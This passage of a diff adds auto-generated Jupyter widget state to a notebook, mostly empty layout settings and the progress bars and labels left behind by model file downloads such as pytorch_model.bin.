+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20e7de8cc9e34728871e040e7fe9d80d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20ec2d7af5444323acf5344e4f45a75e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "228cbb4147cb4fcdb21866278e8f218c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_92d4a3333635430a88cdc38ed8158f49",
+            "max": 592,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f0bf68a25bf7446282f00c22d1093208",
+            "value": 592
+          }
+        },
+        "237b1e5d578841738596dc8d9fb12a23": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_877898b8398541e3b9909a3a372cad14",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d19511fe4049467a9e24bffc8b799027",
+            "value": " 141/141 [00:00&lt;00:00, 10.0kB/s]"
+          }
+        },
+        "23ac198dda5d4390b1e0998e2553d04c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "27635f5481f1430f9e7ec0404f5c393b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8c5762e71db644cfac50336e5de12ec6",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2c5f5b6d6ca04df4b2fc874fdf0ca83c",
+            "value": " 4.56k/4.56k [00:00&lt;00:00, 400kB/s]"
+          }
+        },
+        "2a334258549d49c7ab12ae3f07f69ea9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2b1ac03b7948452faa1282e9f41b8069": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ce9b5e9018ff4acfb9f59fcb04bdea22",
+            "max": 453,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b6bd97ac6f79431596f1d2e76cf80cc1",
+            "value": 453
+          }
+        },
+        "2c1891a4c26042c08956982391039dfe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2c5f5b6d6ca04df4b2fc874fdf0ca83c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "2cb163ea221745cfb446ec9ddcbe622b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2e904bced0c945498efee80e62acbe22": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7dc9b79e3ad74651ae3f6449a8b968f7",
+            "max": 2822,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_b68190a10e0b48678a9937693a2e0875",
+            "value": 2822
+          }
+        },
+        "3064bb59f3144fc6a373b1528290b57a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3080191d2d754416988b90ece2f76cb5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "30944ee9722c4e4da3b23a635a2e561f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c7af806e9fcf44dfa483f9aee21ab0ef",
+            "placeholder": "​",
+            "style": "IPY_MODEL_743663756db94768a1a82d5bccac5538",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "30c8f5bab4ac4beab39c0a282e6a3183": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "312d2d503a0f47278b47c03ddef6109f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6aedd062950c4596b734f7a98a9cce9c",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5a9aba83d9734e01902c5b9bcb534ac4",
+            "value": " 125/125 [00:00&lt;00:00, 10.2kB/s]"
+          }
+        },
+        "35d468050abe416dbfe791ddf607ee6f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "366f53d87c6c4b0aa6fd3d167f01c5c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "37dc882c932347788e668b941222f7a2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3a18c950c8da4cc2b7f3f79a9b91dea2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3af451b24c8a47c99941a0d3676db363": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3afb14ab061c459b9276116e0a6c9416": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b40e3e3b6a94c3a8f5c94d328c7ff8e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b88701571a342b0abea71a105fed88b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3b8edfee45ef459c8ae1fc8c9ac7cbc9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3bc21fd430c3426283585a874ec1ce94": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3bee2b1a38cc4f68a614ac2460b45f37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3dedecb37fdb44ceb07c6d1712c4e021": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5c0d9f5a3aa0473b9058fc33f28a9971",
+            "placeholder": "​",
+            "style": "IPY_MODEL_bedf96c9d0c94e7f9f723e4cec98ae8a",
+            "value": " 503/503 [00:00&lt;00:00, 9.40kB/s]"
+          }
+        },
+        "400bbbc0ce6e42ad9f0916a428aeff83": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4289a56219ec41acaafdb60d3b7d1360": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "430fa54d746a4743bc162b8e835a093c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "484c18d0f13148efa47e68dca92cfb48": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b2298da115e446eb8b129cf635bad729",
+            "max": 649618,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3b8edfee45ef459c8ae1fc8c9ac7cbc9",
+            "value": 649618
+          }
+        },
